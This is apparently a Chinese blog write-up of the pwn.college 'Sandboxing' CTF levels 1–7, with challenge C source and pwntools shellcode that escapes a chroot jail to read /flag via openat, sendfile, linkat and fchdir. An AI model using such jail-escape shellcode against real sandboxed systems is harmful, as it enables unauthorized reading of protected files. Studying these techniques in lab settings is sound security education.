Sandboxing(6 / 18)

简介: Sandboxing(6 / 18)

一. 文件描述符

系统刚刚启动的时候,**0是标准输入(stdin),1是标准输出(stdout),2是标准错误(stderr)。  **

如果此时去打开一个新的文件,它的文件描述符会是3

打开一个文件文件描述符就是4…

二. 分析

前几道题目不难,大多都是利用openat和sendfile来实现逃逸,主要利用的有:

  • openat(AT_FDCWD, “…/…/flag”, 0 ,0),这里AT_FDCWD=0xffffff9c,代表的是_current working directory_,所以这里就是以当前目录为.,打开…/…/flag。前两个题目没有chdir(‘/’),所以可以实现这样的路径穿越
  • openat(3, “…/…/flag”, 0, 0),因为题目会打开文件,打开的文件标识符就是3,只要构造打开的文件目录和flag的相对位置关系正确就能实现逃逸

三. 实战通关

level 1 : 任意文件读取

分析

功能:可以读取任意文件内容

限制:文件名作为命令行的第一个参数,并且只能是相对路径。如果是绝对路径(/flag),则会被检测,然后输出 fake_flag。

escaping

./babyjail_level1 …/flag 将相对路径 …/flag内容 发送到 stdout 显示出来

例如:/home/hacker/Desktop/heap.py【绝对路径】

相对路径:…/home/hacker/Desktop/heap.py (…/先转到根目录,然后正常向下走)

level 2:orw

分析

有限制,不能使用 shellcraft.sh() 打开 /bin/sh 。需要使用 syscall read / write 读出来。

escaping

p = process(["/challenge/babyjail_level2", "/"], cwd="/")  # 指定参数:根目录
sh = '''
        lea rdi, [rip + flag]      # Open syscall
        mov rsi, 0
        mov rdx, 0
        mov rax, 0x02
        syscall
        mov rdi, rax              # Read syscall
        mov rsi, rsp
        mov rdx, 1000
        mov rax, 0x00
        syscall
        mov rdi, 1              # Write syscall
        mov rax, 0x01
        syscall
        mov rdi, 0              # Exit syscall   这个可要可不要
        mov rax, 0x3c
        syscall
flag:
        .string "../../flag"           # 这里不能使用 /flag ,直接打开/flag无法逃逸
'''
sh = asm(sh)
from pwn import *
elf = ELF("/challenge/babyjail_level2")
context.arch="amd64"
shellcode = asm(shellcraft.readfile("flag", 1))
p = process(["/challenge/babyjail_level2", "/"], cwd="/")  # 指定参数:根目录
p.sendline(shellcode)
p.interactive()

level 3 : orw

源码

#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <capstone/capstone.h>
#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64
void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
    csh handle;
    cs_insn *insn;
    size_t count;
    if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
    {
        printf("ERROR: disassembler failed to initialize.\n");
        return;
    }
    count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
    if (count > 0)
    {
        size_t j;
        printf("      Address      |                      Bytes                    |          Instructions\n");
        printf("------------------------------------------------------------------------------------------\n");
        for (j = 0; j < count; j++)
        {
            printf("0x%016lx | ", (unsigned long)insn[j].address);
            for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
            for (int k = insn[j].size; k < 15; k++) printf("   ");
            printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
        }
        cs_free(insn, count);
    }
    else
    {
        printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
        printf("      Address      |                      Bytes\n");
        printf("--------------------------------------------------------------------\n");
        for (unsigned int i = 0; i <= shellcode_size; i += 16)
        {
            printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
            for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
            printf("\n");
        }
    }
    cs_close(&handle);
}
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);
    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);
    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n");
    puts("You may upload custom shellcode to do whatever you want.\n");
    assert(argc > 1);
    puts("Checking to make sure you're not trying to open the flag.\n");
    assert(strstr(argv[1], "flag") == NULL);
    int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
    if (fd < 0)
        printf("Failed to open the file located at `%s`.\n", argv[1]);
    else
        printf("Successfully opened the file located at `%s`.\n", argv[1]);
    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);
    printf("Creating a jail at `%s`.\n", jail_path);
    assert(chroot(jail_path) == 0);
    puts("Moving the current working directory into the jail.\n");
    assert(chdir("/") == 0);
    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);
    void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x1337000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);
    puts("Reading 0x1000 bytes of shellcode from stdin.\n");
    int shellcode_size = read(0, shellcode, 0x1000);
    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");
    puts("Executing shellcode!\n");
    ((void(*)())shellcode)();
}

分析

使用 orw (或者 shellcraft.read 应该也可以)

escaping

略,参见 level 2。 接下来orw就不用了,学习新方法。

level 4:openat,read,write,sendfile

openat,sendfile

int open(const char *path, int oflag, mode_t mode);
int openat(int fd, const char *path, int oflag,  mode_t mode );
//函数执行成功返回文件描述符,失败返回-1.
  1. 当传给函数的路径名是绝对路径时,二者无区别.(openat()自动忽略第一个参数fd)
  2. 当传给函数的是相对路径时,如果openat()函数的第一个参数fd是常量AT_FDCWD时,则其后的第二个参数路径名是以当前工作目录为基址的;否则以fd指定的目录文件描述符为基址。

目录文件描述符的取得通常分为两步,先用opendir()函数获得对应的DIR结构的目录指针,再使用int dirfd(DIR*)函数将其转换成目录描述符,此时就可以作为openat()函数的第一个参数使用了。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

sendfile是一个很好用的系统调用,它允许将文件数据从一个文件描述符直接发送到另一个文件描述符,而且不需要经过缓冲区拷贝,被称为“零拷贝技术”,这一技术也被应用于mmap等系统调用中。可以说这个系统调用用起来比read+write还要简单

out_fd参数:为写打开的文件描述符,在2.6.33之前的Linux内核中,out_fd必须引用套接字。从Linux 2.6.33开始,它可以是任何文件。

in_fd参数:为读打开的文件描述符,必须对应于支持类似mmap(2)的操作的文件,即它必须指向文件。

offset参数:指定从读入文件流的那个位置开始读,如果指定为NULL,则使用读入文件流的默认起始位置

count参数:指定在文件描述符in_fd和out_fd之间传输的字节数。

成功返回写入out_fd的字节数,失败返回-1,并且设置errno。

分析

方法一openat + read + write [略]

方法二openat + sendfile

escaping

sh = '''
        mov rdi, 3                   # syscall openat 
        lea rsi, [rip + flag]
        mov rdx, 0
        mov r10, 0
        mov rax, 0x101
        syscall
    
        mov rdi, 1                   # syscall sendfile
        mov rsi, rax
        mov rdx, 0
        mov r10, 1000
        mov rax, 0x28
        syscall
        flag:
        .string "flag"            # 等同 ../../../flag , 但是不能使用 /flag ,直接打开/flag会被检查到
'''
sh = asm(sh)

level 5:linkat,openat,sendfile

linkat

int linkat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath, int flags);
• 1

使用 linkat 我们可以创建一个指向根目录中的文件的硬链接

硬链接是将名称与文件关联的条目。这允许我们使用不同的名称访问内部。/flag/tmp/jail/

成功时返回值 0 。

注意:硬链接不会显示出来新的文件

分析

方法一:linkat + open + sendfile (openat被禁了)

方法二:linkat + orw

escaping

mov rdi, 3                            # Linkat syscall
        lea rsi, [rip + old_path]
        mov rdx, 4
        lea r10, [rip + new_path]
        mov r8, 0
        mov rax, 0x109
        syscall
        lea rdi, [rip + new_path]      # Open syscall
        mov rsi, 0
        mov rdx, 0
        mov rax, 0x02
        syscall
        mov rdi, 1                   # syscall sendfile
        mov rsi, rax
        mov rdx, 0
        mov r10, 1000
        mov rax, 0x28
        syscall
        old_path: 
        .string "flag"
        new_path: 
        .string "/flag2.txt"

level 6 : fchdir

fchdir

int fchdir(int fd);    // 成功返回值为0,失败为-1

系统调用 chdir()和 fchdir()可以用于更改进程的当前工作目录。

此两函数的区别在于,指定目录的方式不同。chdir()是以路径的方式进行指定,而 fchdir()则是通过文件描述符,文件描述符可调用 open()打开相应的目录时获得

分析

# Fchdir syscall
mov rdi, 3
mov rax, 0x51
syscall

escaping

# 程序会打开根目录 / 获得/flag文件描述符。
sh = '''
        mov rdi, 3            # fchdir syscall
        mov rax, 0x51
        syscall
        lea rdi, [rip + flag]      # Open syscall
        mov rsi, 0
        mov rdx, 0
        mov rax, 0x02
        syscall
        mov rdi, rax              # Read syscall
        mov rsi, rsp
        mov rdx, 1000
        mov rax, 0x00
        syscall
        mov rdi, 1              # Write syscall
        mov rax, 0x01
        syscall
flag:
        .string "flag"
'''
sh = asm(sh)

level 7:chdir, chroot, mkdir, orw, sendfile

源码

#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <seccomp.h>
#include <capstone/capstone.h>
#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64
void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
    csh handle;
    cs_insn *insn;
    size_t count;
    if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
    {
        printf("ERROR: disassembler failed to initialize.\n");
        return;
    }
    count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
    if (count > 0)
    {
        size_t j;
        printf("      Address      |                      Bytes                    |          Instructions\n");
        printf("------------------------------------------------------------------------------------------\n");
        for (j = 0; j < count; j++)
        {
            printf("0x%016lx | ", (unsigned long)insn[j].address);
            for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
            for (int k = insn[j].size; k < 15; k++) printf("   ");
            printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
        }
        cs_free(insn, count);
    }
    else
    {
        printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
        printf("      Address      |                      Bytes\n");
        printf("--------------------------------------------------------------------\n");
        for (unsigned int i = 0; i <= shellcode_size; i += 16)
        {
            printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
            for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
            printf("\n");
        }
    }
    cs_close(&handle);
}
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);
    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);
    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n");
    puts("You may upload custom shellcode to do whatever you want.\n");
    puts("For extra security, this challenge will only allow certain system calls!\n");
    assert(argc > 1);
    puts("Checking to make sure you're not trying to open the flag.\n");
    assert(strstr(argv[1], "flag") == NULL);
    int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
    if (fd < 0)
        printf("Failed to open the file located at `%s`.\n", argv[1]);
    else
        printf("Successfully opened the file located at `%s`.\n", argv[1]);
    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);
    printf("Creating a jail at `%s`.\n", jail_path);
    assert(chroot(jail_path) == 0);
    puts("Moving the current working directory into the jail.\n");
    assert(chdir("/") == 0);
    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);
    void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x1337000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);
    puts("Reading 0x1000 bytes of shellcode from stdin.\n");
    int shellcode_size = read(0, shellcode, 0x1000);
    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");
    scmp_filter_ctx ctx;
    puts("Restricting system calls (default: kill).\n");
    ctx = seccomp_init(SCMP_ACT_KILL);
    printf("Allowing syscall: %s (number %i).\n", "chdir", SCMP_SYS(chdir));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "chroot", SCMP_SYS(chroot));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chroot), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "mkdir", SCMP_SYS(mkdir));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mkdir), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "open", SCMP_SYS(open));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "read", SCMP_SYS(read));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "write", SCMP_SYS(write));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
    printf("Allowing syscall: %s (number %i).\n", "sendfile", SCMP_SYS(sendfile));
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) == 0);
    puts("Executing shellcode!\n");
    assert(seccomp_load(ctx) == 0);
    ((void(*)())shellcode)();
}

chdir,chroot,mkdir

int chdir( const char *pathname );     // 成功返回值为0,失败为-1

chdir函数用于改变当前工作目录

调用参数是指向目录的指针,调用进程需要有搜索整个目录的权限。每个进程都具有一个当前工作目录。在解析相对目录引用时,该目录是搜索路径的开始之处。

如果调用进程更改了目录,则它只对该进程有效,而不能影响调用它的那个进程。在退出程序时,shell还会返回开始时的那个工作目录。

int chroot(const char *path);

chroot命令用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。

经过 chroot 之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件。

int mkdir(const char *pathname, mode_t mode);

运用条件:只能在已存在的目录下建立一级子目录

返回值: 返回0表示成功,返回-1表述出错。

mode 表示新目录的权限,可以取以下值:

其中,mode就用0777,0755这种形式。

escaping

暂时没打通,先放着

level 8 ~ level 18

还没写完,后续待定…

参考wp

Sandboxing | Write-ups

pwn.college | SandBoxing

目录
相关文章
|
22天前
|
机器学习/深度学习 人工智能 算法
海洋生物识别系统+图像识别+Python+人工智能课设+深度学习+卷积神经网络算法+TensorFlow
海洋生物识别系统。以Python作为主要编程语言,通过TensorFlow搭建ResNet50卷积神经网络算法,通过对22种常见的海洋生物('蛤蜊', '珊瑚', '螃蟹', '海豚', '鳗鱼', '水母', '龙虾', '海蛞蝓', '章鱼', '水獭', '企鹅', '河豚', '魔鬼鱼', '海胆', '海马', '海豹', '鲨鱼', '虾', '鱿鱼', '海星', '海龟', '鲸鱼')数据集进行训练,得到一个识别精度较高的模型文件,然后使用Django开发一个Web网页平台操作界面,实现用户上传一张海洋生物图片识别其名称。
112 7
海洋生物识别系统+图像识别+Python+人工智能课设+深度学习+卷积神经网络算法+TensorFlow
|
20天前
|
存储 消息中间件 API
“论微服务架构及其应用”写作框架,软考高级,系统架构设计师
论微服务架构及其应用近年来,随着互联网行业的迅猛发展,公司或组织业务的不断扩张,需求的快速变化以及用户量的不断增加,传统的单块(Monolithic)软件架构面临着越来越多的挑战,已逐渐无法适应互联网时代对软件的要求。在这一背景下,微服务架构模式(MicroserviceArchitecturePattern)逐渐流行,它强调将单一业务功能开发成微服务的形式,每个微服务运行在一个进程中;采用HTTP等通用协议和轻量级API实现微服务之间的协作与通信。这些微服务可以使用不同的开发语言以及不同数据存储技术,能够通过自动化部署工具独立发布,并保持最低限制的集中式管理。
|
21天前
|
自然语言处理 测试技术 开发工具
报名参加通义灵码高校训练营,领 300 元阿里云产品通用抵扣金
对每一个开发者个人而言,应该如何更好地认识大模型、理解大模型、与大模型相处?如何通过智能编程工具等的使用加速成长、保持竞争力?为了帮助以高校学生为核心群体的开发者在大模型时代下加速成长,2024 年起,阿里云云工开物与通义灵码团队共同发起了“通义灵码高校系列实践训练营”,6 月 4 日至 8 月 4 日,以“大模型时代开发者成长指南”为核心的第三期线上训练营正式启动。
163 10
|
22天前
|
前端开发 JavaScript API
探索现代Web开发中的动态数据交互——前端与后端整合实战
本文探讨了现代Web开发中前端与后端整合的关键技术点,通过实际案例演示了如何利用JavaScript和Node.js实现动态数据交互,全面解析从数据请求到响应的全过程。
|
20天前
|
弹性计算
阿里云服务器99元和199元提示“不符合活动条件”或显示价格为原价的解决方案
2024年阿里云推出了两款长效特惠云服务器,经济型e实例2核2G配置3M固定带宽40G ESSD Entry云盘,价格只要99元1年,通用算力型u1实例2核4G配置5M固定带宽80G ESSD Entry云盘,价格只要199元1年,而且购买之后还能享受续费同价的政策,这两款云服务器的购买资格为新老用户同享,但是还是有部分用户在购买时会提示“不符合活动条件”或者显示的价格是原价,本文为大家解析出现这一情况的原因是什么呢,以及我们应该如何解决。
阿里云服务器99元和199元提示“不符合活动条件”或显示价格为原价的解决方案
|
19天前
|
存储 容灾 数据库
Regional ESSD重磅发布
阿里云重磅发布Regional ESSD,这是一种专为提升关键系统业务连续性的块存储解决方案,降低了容灾部署的门槛并解决了数据不一致问题。ESSD系列自2019年以来不断进化,提供高性能和全闪存选项。2024年的Regional ESSD引入多AZ冗余,实现数据容灾的新标准,保证数据零丢失和快速恢复,达到灾难恢复能力等级6级,简化管理并优化成本。阿里云是国内云厂商中首家提供Regional ESSD产品能力的云厂商,助力企业云上业务高可用。
209 10
Regional ESSD重磅发布
|
20天前
|
编解码 Android开发 iOS开发
深入探索Android与iOS开发的差异与挑战
【6月更文挑战第24天】在移动应用开发的广阔舞台上,Android和iOS两大操作系统扮演着主角。它们各自拥有独特的开发环境、工具集、用户基础及市场策略。本文将深度剖析这两个平台的开发差异,并探讨开发者面临的挑战,旨在为即将踏入或已在移动开发领域奋斗的开发者提供一份实用指南。
40 13
|
20天前
|
机器学习/深度学习 自然语言处理 大数据
社交媒体的情感分析大数据模型
构建基于大数据的情感分析模型,利用Python和机器学习处理社交媒体数据。情感分析识别文本情感倾向,助力市场洞察和舆情监控。技术栈包括Python、NLP库(nltk, spaCy, TextBlob, VADER)、Scikit-learn、TensorFlow/PyTorch及大数据工具。数据收集(如Twitter API)、预处理(去除噪声、分词)、特征提取(TF-IDF、词嵌入)、模型训练(逻辑回归、BERT)是关键步骤。模型能捕捉文本情感,支持决策,随着技术进步,应用前景广阔。
71 10
|
22天前
|
前端开发 JavaScript API
现代Web开发中的前后端分离架构
本篇文章探讨了前后端分离架构在现代Web开发中的应用与优势。
|
20天前
|
机器学习/深度学习 自然语言处理 算法
深度学习在自然语言处理中的进展与应用
本文探讨了深度学习技术在自然语言处理领域的最新进展和应用。通过分析深度学习模型的发展历程及其在文本分类、情感分析、语义理解等任务中的成功案例,展示了这些技术如何推动了自然语言处理的前沿应用。同时,文章还讨论了当前技术面临的挑战以及未来发展的趋势。
64 11